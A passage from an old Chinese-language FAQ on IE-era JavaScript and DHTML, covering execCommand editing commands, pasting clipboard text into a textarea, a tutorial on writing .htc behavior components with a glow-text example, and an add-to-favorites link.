Cut;document.execCommand("Cut","false",null);剪貼選中的文字到剪貼板;ie4.0
Delete;document.execCommand("Delete","false",null);刪除選中的文字;ie4.0
DirLTR;none;排版方式為從左到右?;不支持 DirRTL;none;排版方式為從右到左?;不支持
EditMode;none;設(shè)置編輯模式?;不支持
FontName;document.execCommand("FontName","false",sFontName);改變選中區(qū)域的字體;ie4.0
FontSize;document.execCommand("FontSize","false",sSize|iSize);改變選中區(qū)域的字體大小;ie4.0
ForeColor;document.execCommand("ForeColor","false",sColor);設(shè)置前景顏色;ie4.0
FormatBlock;document.execCommand("FormatBlock","false",sTagName);設(shè)置當(dāng)前塊的標簽名;ie4.0
55.可以在TEXTAREA中實現(xiàn)在光標處用腳本來加入文本嗎?
<form>
<textarea cols="50"></textarea>
<br/>
<textarea cols="50"></textarea>
<br/>
<textarea cols="50"></textarea>
<br/>
<input type=button value="paste" onclick=paste()>
<input type="reset" name="Reset" value="Reset">
<script language=JavaScript>
var lastElement=null;
function BlurText()
{
lastElement=event.srcElement;
}
for(var i in document.all)
{
var Element=document.all[i];
if(Element.tagName=="TEXTAREA")
// if(Element.type=="text")
Element.onblur=BlurText;
}
function paste()
{
lastElement.focus();
document.execCommand("paste");
}
</script>
</form>
56.什么是.htc?
作者:沈欣 出處:china.com
在微軟IE 5.0版本的瀏覽器發(fā)布以前,網(wǎng)頁編程中面對的最大挑戰(zhàn)就是不能輕易地創(chuàng)建組件,以達到代碼重用和多頁面共享的目的。這個問題一直困擾著DHTML(動態(tài) HEML)的網(wǎng)頁編程者。他們只能不斷地重復(fù)書寫HTML、CSS和JAVASCRIPT的代碼,以滿足多個頁面上的重復(fù)或相似的功能。自IE 5.0瀏覽器發(fā)布后,這種情況得到了改善,它帶給我們一個新的指令組合方法,可把實現(xiàn)特定功能的代碼封裝在一個組件內(nèi),從而實現(xiàn)多頁面的代碼重用,使網(wǎng)頁編程進入一個全新的天地。這個新的技術(shù)就是我們要談到的DHTML中的“行為”(Behaviors)。
“行為”作為一個簡單易用的組件,它封裝了頁面上特定的功能或動作。當(dāng)把一個“行為”附到WEB頁面中的一個元件上時,這個元件的原有行為就會有所改變。因此,網(wǎng)頁編程者可以開發(fā)通用的DHTML指令,并改變原有對象的一些屬性,用“行為”來增強一個對象的功能,同時也簡化了頁面的HTML代碼。而且“行為”的創(chuàng)建和使用也非常簡單方便,所需的知識也只是原來已經(jīng)習(xí)慣使用的CSS樣式表、HTML指令和JAVASCRIPT腳本語言。只要你對此有所了解,有過實際編程的經(jīng)歷,學(xué)習(xí)并掌握“行為”的使用完全沒有問題。我們將以一個改變字體效果的“行為”組件為例來說明如何編寫和使用一個“行為”,并體驗“行為”給頁面編輯帶來的優(yōu)點和方便之處。
首先新建一個名為font_efftce.htc的文本文件,組成“行為”組件的文件都是以.htc為擴展名,這個文件中的內(nèi)容就是我們對這個“行為”的描述。它的創(chuàng)建和使用步驟如下:
(1)首先給這個“行為”增加幾個事件響應(yīng),語句書寫格式如下:
< PUBLIC:ATTACH EVENT="onmouseover" ONEVENT="glowit()" / >
< PUBLIC:ATTACH EVENT="onmouseout" ONEVENT="noglow()" / >
< PUBLIC:ATTACH EVENT="onmousedown" ONEVENT="font2yellow()" / >
< PUBLIC:ATTACH EVENT="onmouseup" ONEVENT="font2blue()" / >
“EVENT”對應(yīng)所需事件名,在這里分別為:onmouseover,onmouseout,onmousedown,onmouseup四個事件名,你當(dāng)然可以再增加其它的事件名來滿足你的特定需求。“ONEVENT”對應(yīng)著個自的事件句柄,即事件觸發(fā)時所調(diào)用的函數(shù)名稱。glowit()函數(shù)使字體周圍產(chǎn)生一個紅色的輝光。noglow()函數(shù)是消除字體的輝光效果。Font2yellow()函數(shù)是把字體顏色改為黃色。Font2blue()函數(shù)是把字體顏色改為藍色。四個事件的定義都是相似的。
(2)接下來,再給這個“行為”增加二個“方法”定義,內(nèi)容如下。
< PUBLIC:METHOD NAME="move_down" / >
< PUBLIC:METHOD NAME="move_right" / >
“NAME”參數(shù)對應(yīng)的是給定的“方法”名稱。move_down和move_right分別是向下和向右移動的“方法”對應(yīng)的函數(shù)名稱。注意,在方法名的后面不要帶“( )”括號,即不要寫成“move_down()”這個樣子,這在“方法”定義的語法上是不允許的。
(3)接下來的工作就是在我們熟悉的DHTML環(huán)境下,用JAVASCRIPT腳本語句編寫“事件句柄”和“方法”所對應(yīng)的函數(shù)內(nèi)容,實現(xiàn)預(yù)期的效果。具體內(nèi)容參考下面的源程序。其中的“element”參數(shù)指的是這個“行為”所附著的對象,因為“行為”總是被附著到頁面的元件上面,并通過這個元件發(fā)揮作用。其它語句都是DHTML的編程內(nèi)容,就不再多說了。如有不明之處,可參考微軟的MSDN開發(fā)文檔中有關(guān)IE瀏覽器的內(nèi)容,上面有詳細的DHTML編程參考內(nèi)容、屬性和方法使用說明等,并包含了大量的文章和舉例程序。經(jīng)常訪問微軟的MSDN文檔,尤其對于初學(xué)者來說是一個良好的學(xué)習(xí)習(xí)慣,你幾乎可以得到任何你想找的答案,它的網(wǎng)址為:http://msdn.microsoft.com/ie/。
完整的“行為”文檔“font_effect.htc”的內(nèi)容如下:
////////////////////////////“行為”文檔開始///////////////////////////////////
//給“行為”增加四個鼠標事件
< PUBLIC:ATTACH EVENT="onmouseover" ONEVENT="glowit()" / >
< PUBLIC:ATTACH EVENT="onmouseout" ONEVENT="noglow()" / >
< PUBLIC:ATTACH EVENT="onmousedown" ONEVENT="font2yellow()" / >
< PUBLIC:ATTACH EVENT="onmouseup" ONEVENT="font2blue()" / >
//給“行為”定義二個方法
< PUBLIC:METHOD NAME="move_down" / >
< PUBLIC:METHOD NAME="move_right" / >
< SCRIPT LANGUAGE="JScript" >
//定義一個保存字體顏色的變量
var font_color;
//定義向下移動文字的方法
function move_down()
{
element.style.posTop+=2;
}
//定義向右移動文字的方法
function move_right()
{
element.style.posLeft +=6;
}
//定義鼠標onmouseup事件的調(diào)用函數(shù)
function font2blue(){
if (event.srcElement == element)
{
element.style.color='blue';
}
}
//定義鼠標onmousedown事件的調(diào)用函數(shù)
function font2yellow(){
if (event.srcElement == element)
{
element.style.color='yellow';
}
}
//定義鼠標onmouseover事件的調(diào)用函數(shù)
function glowit()
{
if (event.srcElement == element)
{
font_color=style.color;
element.style.color='white';
element.style.filter="glow(color=red,strength=2)";
}
}
//定義鼠標onmouseout事件的調(diào)用函數(shù)
function noglow()
{
if (event.srcElement == element)
{
element.style.filter="";
element.style.color=font_color;
}
}
< /SCRIPT >
//////////////////“行為”文檔結(jié)束///////////////////////////////
(4)如何在一個頁面上使用“行為”
在頁面上使用“行為”組件,并不需要學(xué)習(xí)新的知識。所需的知識的也不過是CSS樣式表和HTML的設(shè)置而已,請看下面的語句。
< STYLE >
.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}
< /STYLE >
可以看出,這和以前我們已經(jīng)熟知的樣式表設(shè)置完全相同。上面的語句定義了一個樣式名:“myfilter”,其中對我們來說比較新的內(nèi)容是:“behavior:url(font_effect.htc);”,“behavior”是新增的“行為”屬性名,這就是“行為”在樣式表中的設(shè)置方式。括號中的內(nèi)容是“行為”文檔的文件名,本例中表明“行為”文檔在與頁面文件在同一個目錄下,如果“行為”文檔安置在其它目錄下,在此參數(shù)的前面要加上相應(yīng)的路徑名,以保證可以正確地定位“行為”文檔的位置。此“樣式”中的其它內(nèi)容就是普通的樣式屬性設(shè)置,可根據(jù)你的需要增減,但在此例中,由于使用了“glow”濾鏡效果,至少要設(shè)置一個寬度(width)屬性。通過以上的樣式指定,我們就有了一個名為:“myfilter”的樣式,它附帶一個有字體變化效果的“行為”。如果你想要在一個頁面元件上使用這個附帶“行為”的樣式,同樣也很簡單,只要把這個“樣式名”安置在元件的屬性設(shè)置區(qū)域即可,見下面的語句。
< span id="myspan" class='myfilter' >行為產(chǎn)生的文字效果< /span >< br >
< span class='myfilter' >鼠標指向后產(chǎn)生輝光< /span >
以上語句里面沒有什么新的內(nèi)容,class='myfilter'就是我們所熟悉的樣式設(shè)置。在第一個“span”標記的屬性中還定義了一個“id”標記,稍后就會看到,這是用來演示調(diào)用“行為”內(nèi)的“方法”而設(shè)置的。這樣設(shè)置后,“span”元件中的內(nèi)容就可以顯示出“行為”組件內(nèi)的預(yù)定效果:
1. 鼠標指針移動到文字內(nèi)容上時,在文字周圍產(chǎn)生紅色的輝光效果,同時文字變成白色。
2. 當(dāng)鼠標按鈕按下時,文字顏色改變?yōu)辄S色。
3. 鼠標按鈕抬起后,文字顏色又改變?yōu)樗{色。
4. 當(dāng)鼠標指針移動到文字區(qū)域以外時,去掉了紅色輝光效果,文字恢復(fù)原樣。
另外,我們在定義“行為”時設(shè)置了二個“方法”,“move_down”和“move_right”。為調(diào)用這二個“方法”,定義了二個按鈕:
< button onclick="myspan.move_right();" >向右移動第一行文字< /button >< br >
< button onclick="myspan.move_down();" >向下移動第一行文字< /button >
用按鈕的onclick事件去調(diào)用這二個“方法”,先前定義的“id”標記就作為元件的對象名稱,用“myspan.move_down”來調(diào)用“方法”,操縱這個對象。可以看到,在按下相應(yīng)的按鈕后,會使第一行的文字產(chǎn)生向下或向右的移動。雖然只是用第一行文字做了示范,實際上,只要做相應(yīng)的設(shè)置,你也可以移動其它對象。頁面源文檔的完整內(nèi)內(nèi)容如下:
< html >
< HEAD >
< TITLE >行為效果演示< /TITLE >
< STYLE >
.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}
< /STYLE >
< /HEAD >
< BODY >
< span id="myspan" class='myfilter' >行為產(chǎn)生的文字效果< /span >< br >
< span class='myfilter' >鼠標指向后產(chǎn)生輝光< /span >< br >
< span class='myfilter' >同時文字變白< /span >< br >
< span class='myfilter' >按下鼠標后文字變黃< /span >< br >
< span class='myfilter' >抬起鼠標后文字變藍< /span >< br >
< span class='myfilter' >鼠標離開后文字恢復(fù)原狀< /span >< br >
< button onclick="myspan.move_right();" >向右移動第一行文字< /button >< br >
< button onclick="myspan.move_down();" >向下移動第一行文字< /button >
< /BODY >
< /html >
通過以上的簡單介紹,可以看出,我們很容易地在一個“行為”中同時組合了多種文字變化效果,通過簡單的“樣式”設(shè)置,任意地將它與頁面元件相關(guān)連,體現(xiàn)了“行為”組件的優(yōu)點和強大功能。一個“行為”組件,不僅能在一個頁面內(nèi)重復(fù)使用,也可供同一站點上的所有頁面使用。試想一下,如果不使用“行為”來完成上述的效果,雖然可以在頁面內(nèi)調(diào)用一組預(yù)定的函數(shù)來完成同樣的功能,但頁面內(nèi)每一個使用文字效果的元件都要附加四個鼠標事件,如果在多個頁面內(nèi)使用相同的效果,被調(diào)用的函數(shù)也需要在每一個頁面內(nèi)重復(fù)設(shè)置。相比之下,孰優(yōu)孰劣是很明顯的。所以,使用“行為”組件,可以制作出簡潔、高效、通用和便于維護的頁面。本文的舉例只是為了說明“行為”組件的編寫和使用過程,使讀者對“行為”編程有一個概括的了解,并以此基礎(chǔ)制作出自己所需要的“行為”組件,或直接引用滿足個人需要的現(xiàn)成“行為”組件,因為“組件共享”的概念也是“行為”開發(fā)者的初衷。最后,愿本文能起到“拋磚引玉”的目的,使讀者步入精彩的DHTML網(wǎng)頁編程天地。
說明:
HTC是HTML component的縮寫,
是IE5.0的主要擴展之一,
除了具備一般組件的可重用優(yōu)點之外,
還具有易于開發(fā)使用等優(yōu)點,
因為需要引入外部文件,這里就不舉例了,寶庫里有例子.
控件和組件
HTC提供了一個簡單機制以在腳本中實現(xiàn)DHTML行為。一個HTC文件和HTML文件沒有任何差別,并且以“.htc”為后綴,
可以使用HTC實現(xiàn)以下行為:
設(shè)定屬性和方法。通過“PROPERTY”和“METHOD”元素定義
設(shè)置自定義事件。通過“EVENT”元素實現(xiàn),用該元素的“fire()”方法釋放事件,
通過“createEventObject()”方法設(shè)置事件環(huán)境。
訪問所包含該HTC的的HTML頁的DHTML對象模型,使用HTC的“element"對象,返回
一個附加行為的元素,使用該對象,HTC可以訪問包含文擋及它的對象模型(屬性、方法、事件)。
收取通知,使用”ATTACH“元素實現(xiàn),瀏覽器不但通知HTC標準的DHTML事件,而且通知HTC兩種特殊事件:oncontentready事件和ondocumentready事件 。
定義標記和命名空間
HTC的基礎(chǔ)是自定義標記
要為頁面定義自定義標記,必須為該標記提供命名空間
要使用該標記必須在該標記前加上正確的XML命名空間前綴
例如:
定義一個新標記RIGHT的例子
<HTML XMLNSOCJS>
<HEAD>
<STYLE>
@media all {
DOCJSRIGHT {text-align:right; width:100}
}
</STYLE>
</HEAD>
<BODY>
<DOCJS:RIGHT>
Read Doc JavaScript's columns, tips, tools, and tutorials
</DOCJS:RIGHT>
</BODY>
</HTML>
可以在單個HTML標記
中定義多個命名空間:
<HTML XMLNSOCJS XMLNSOCJAVASCRIPT>
組件定義
組件的名字是由HTC文檔里定義在第一行的XML命名空間決定的
該頁不用調(diào)用其他的HTC話,就只有一個命名空間定義
實際上,HTML組件的定義就是自定義標簽行為的定義
該行為包括一個屬性和一個事件:
<HTML xmlns:MyTag>
<HEAD>
<PUBLIC:COMPONENT tagName="MyTag">
<PROPERTY NAME="value"></PROPERTY>
<ATTACH EVENT="oncontentready" ONEVENT="fnInit()"<>/ATTACH>
</PUBLIC:COMPONENT>
<STYLE>//為組件定義樣式表
.cssMyTag{
}
</STYLE>
<SCRIPT language=JavaScript>
function MyTagBehavior1(){} //為組件定義方法
</SCRIPT>
</HEAD>
<BODY onclick=MyTagBehavior1> //為組件定義響應(yīng)事件
</BODY>
</HTML>
其中的oncontentready是在組件被調(diào)用者完全導(dǎo)入時觸發(fā)
再看看fnInit()
function fnInit() {
document.body.innerHTML = element.value;//設(shè)定組件顯示內(nèi)容
document.body.className = "clsMyTag"; //設(shè)定顯示樣式表,
defaults.viewLink = document; //使本組件對其他文檔可見
element.aProperty = element.value; //設(shè)置組件的屬性值
}
組件的調(diào)用
<HTML xmlns:MyCom>
<HEAD>
<?IMPORT NAMESPACE="MyCom" IMPLEMENTATION="MyTag.htc"/>
</HEAD>
<BODY>
<MyCom:MyTag></MyCom:MyTag>
</BODY>
</html>
57.如何把頁面加入用戶的收藏夾?
<a href="javascript:window.external.AddFavorite('http://www.bihu.net','織夢亂彈')">收藏</a>